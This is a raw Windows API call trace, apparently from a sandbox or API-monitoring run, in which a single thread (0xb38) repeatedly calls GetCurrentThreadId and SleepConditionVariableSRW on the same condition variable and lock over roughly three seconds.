	[0143.539] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.554] GetCurrentThreadId () returned 0xb38
	[0143.554] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.586] GetCurrentThreadId () returned 0xb38
	[0143.586] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.621] GetCurrentThreadId () returned 0xb38
	[0143.621] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.625] GetCurrentThreadId () returned 0xb38
	[0143.625] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.648] GetCurrentThreadId () returned 0xb38
	[0143.648] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.666] GetCurrentThreadId () returned 0xb38
	[0143.666] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.671] GetCurrentThreadId () returned 0xb38
	[0143.671] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.691] GetCurrentThreadId () returned 0xb38
	[0143.691] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.711] GetCurrentThreadId () returned 0xb38
	[0143.711] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.743] GetCurrentThreadId () returned 0xb38
	[0143.743] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.747] GetCurrentThreadId () returned 0xb38
	[0143.747] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.772] GetCurrentThreadId () returned 0xb38
	[0143.772] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.779] GetCurrentThreadId () returned 0xb38
	[0143.779] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.795] GetCurrentThreadId () returned 0xb38
	[0143.795] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.815] GetCurrentThreadId () returned 0xb38
	[0143.815] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.832] GetCurrentThreadId () returned 0xb38
	[0143.832] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.849] GetCurrentThreadId () returned 0xb38
	[0143.849] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.887] GetCurrentThreadId () returned 0xb38
	[0143.887] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.917] GetCurrentThreadId () returned 0xb38
	[0143.918] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.927] GetCurrentThreadId () returned 0xb38
	[0143.927] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.956] GetCurrentThreadId () returned 0xb38
	[0143.956] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.975] GetCurrentThreadId () returned 0xb38
	[0143.975] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.980] GetCurrentThreadId () returned 0xb38
	[0143.980] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0143.995] GetCurrentThreadId () returned 0xb38
	[0143.995] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.015] GetCurrentThreadId () returned 0xb38
	[0144.015] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.027] GetCurrentThreadId () returned 0xb38
	[0144.027] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.036] GetCurrentThreadId () returned 0xb38
	[0144.036] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.070] GetCurrentThreadId () returned 0xb38
	[0144.070] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.071] GetCurrentThreadId () returned 0xb38
	[0144.071] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.098] GetCurrentThreadId () returned 0xb38
	[0144.098] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.106] GetCurrentThreadId () returned 0xb38
	[0144.106] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.108] GetCurrentThreadId () returned 0xb38
	[0144.108] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.110] GetCurrentThreadId () returned 0xb38
	[0144.110] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.141] GetCurrentThreadId () returned 0xb38
	[0144.141] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.158] GetCurrentThreadId () returned 0xb38
	[0144.158] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.163] GetCurrentThreadId () returned 0xb38
	[0144.163] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.178] GetCurrentThreadId () returned 0xb38
	[0144.178] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.195] GetCurrentThreadId () returned 0xb38
	[0144.195] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.287] GetCurrentThreadId () returned 0xb38
	[0144.287] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.294] GetCurrentThreadId () returned 0xb38
	[0144.294] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.353] GetCurrentThreadId () returned 0xb38
	[0144.353] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.372] GetCurrentThreadId () returned 0xb38
	[0144.372] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.381] GetCurrentThreadId () returned 0xb38
	[0144.381] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.382] GetCurrentThreadId () returned 0xb38
	[0144.382] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.391] GetCurrentThreadId () returned 0xb38
	[0144.391] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.411] GetCurrentThreadId () returned 0xb38
	[0144.411] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.425] GetCurrentThreadId () returned 0xb38
	[0144.425] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.447] GetCurrentThreadId () returned 0xb38
	[0144.447] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.503] GetCurrentThreadId () returned 0xb38
	[0144.503] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.510] GetCurrentThreadId () returned 0xb38
	[0144.510] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.549] GetCurrentThreadId () returned 0xb38
	[0144.549] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.574] GetCurrentThreadId () returned 0xb38
	[0144.574] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.590] GetCurrentThreadId () returned 0xb38
	[0144.590] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.590] GetCurrentThreadId () returned 0xb38
	[0144.590] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.612] GetCurrentThreadId () returned 0xb38
	[0144.612] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.643] GetCurrentThreadId () returned 0xb38
	[0144.643] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.657] GetCurrentThreadId () returned 0xb38
	[0144.657] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.713] GetCurrentThreadId () returned 0xb38
	[0144.713] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.768] GetCurrentThreadId () returned 0xb38
	[0144.768] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.775] GetCurrentThreadId () returned 0xb38
	[0144.775] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.794] GetCurrentThreadId () returned 0xb38
	[0144.794] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.818] GetCurrentThreadId () returned 0xb38
	[0144.818] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.853] GetCurrentThreadId () returned 0xb38
	[0144.853] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.857] GetCurrentThreadId () returned 0xb38
	[0144.857] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.890] GetCurrentThreadId () returned 0xb38
	[0144.890] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.926] GetCurrentThreadId () returned 0xb38
	[0144.926] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.944] GetCurrentThreadId () returned 0xb38
	[0144.944] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.964] GetCurrentThreadId () returned 0xb38
	[0144.964] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0144.982] GetCurrentThreadId () returned 0xb38
	[0144.982] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.009] GetCurrentThreadId () returned 0xb38
	[0145.009] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.042] GetCurrentThreadId () returned 0xb38
	[0145.042] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.088] GetCurrentThreadId () returned 0xb38
	[0145.088] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.136] GetCurrentThreadId () returned 0xb38
	[0145.136] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.145] GetCurrentThreadId () returned 0xb38
	[0145.145] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.162] GetCurrentThreadId () returned 0xb38
	[0145.162] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.428] GetCurrentThreadId () returned 0xb38
	[0145.428] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.445] GetCurrentThreadId () returned 0xb38
	[0145.445] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.525] GetCurrentThreadId () returned 0xb38
	[0145.525] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.529] GetCurrentThreadId () returned 0xb38
	[0145.529] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.560] GetCurrentThreadId () returned 0xb38
	[0145.560] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.576] GetCurrentThreadId () returned 0xb38
	[0145.577] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.596] GetCurrentThreadId () returned 0xb38
	[0145.596] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.634] GetCurrentThreadId () returned 0xb38
	[0145.634] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.669] GetCurrentThreadId () returned 0xb38
	[0145.669] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.681] GetCurrentThreadId () returned 0xb38
	[0145.681] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.685] GetCurrentThreadId () returned 0xb38
	[0145.685] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.689] GetCurrentThreadId () returned 0xb38
	[0145.689] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.711] GetCurrentThreadId () returned 0xb38
	[0145.711] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.789] GetCurrentThreadId () returned 0xb38
	[0145.789] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.804] GetCurrentThreadId () returned 0xb38
	[0145.804] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.810] GetCurrentThreadId () returned 0xb38
	[0145.810] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.825] GetCurrentThreadId () returned 0xb38
	[0145.825] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.841] GetCurrentThreadId () returned 0xb38
	[0145.841] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.883] GetCurrentThreadId () returned 0xb38
	[0145.883] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.911] GetCurrentThreadId () returned 0xb38
	[0145.911] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.912] GetCurrentThreadId () returned 0xb38
	[0145.912] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.926] GetCurrentThreadId () returned 0xb38
	[0145.926] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.941] GetCurrentThreadId () returned 0xb38
	[0145.941] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.959] GetCurrentThreadId () returned 0xb38
	[0145.959] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.959] GetCurrentThreadId () returned 0xb38
	[0145.959] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0145.979] GetCurrentThreadId () returned 0xb38
	[0145.979] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.021] GetCurrentThreadId () returned 0xb38
	[0146.021] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.042] GetCurrentThreadId () returned 0xb38
	[0146.042] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.065] GetCurrentThreadId () returned 0xb38
	[0146.065] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.102] GetCurrentThreadId () returned 0xb38
	[0146.102] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.103] GetCurrentThreadId () returned 0xb38
	[0146.103] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.134] GetCurrentThreadId () returned 0xb38
	[0146.134] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.154] GetCurrentThreadId () returned 0xb38
	[0146.154] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.224] GetCurrentThreadId () returned 0xb38
	[0146.225] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.280] GetCurrentThreadId () returned 0xb38
	[0146.280] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
	[0146.341] GetCurrentThreadId () returned 0xb38
	[0146.341] SleepConditionVariableSRW (in: ConditionVariable=0x365f70, SRWLock=0x365f9c, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f70, SRWLock=0x365f9c) returned 1
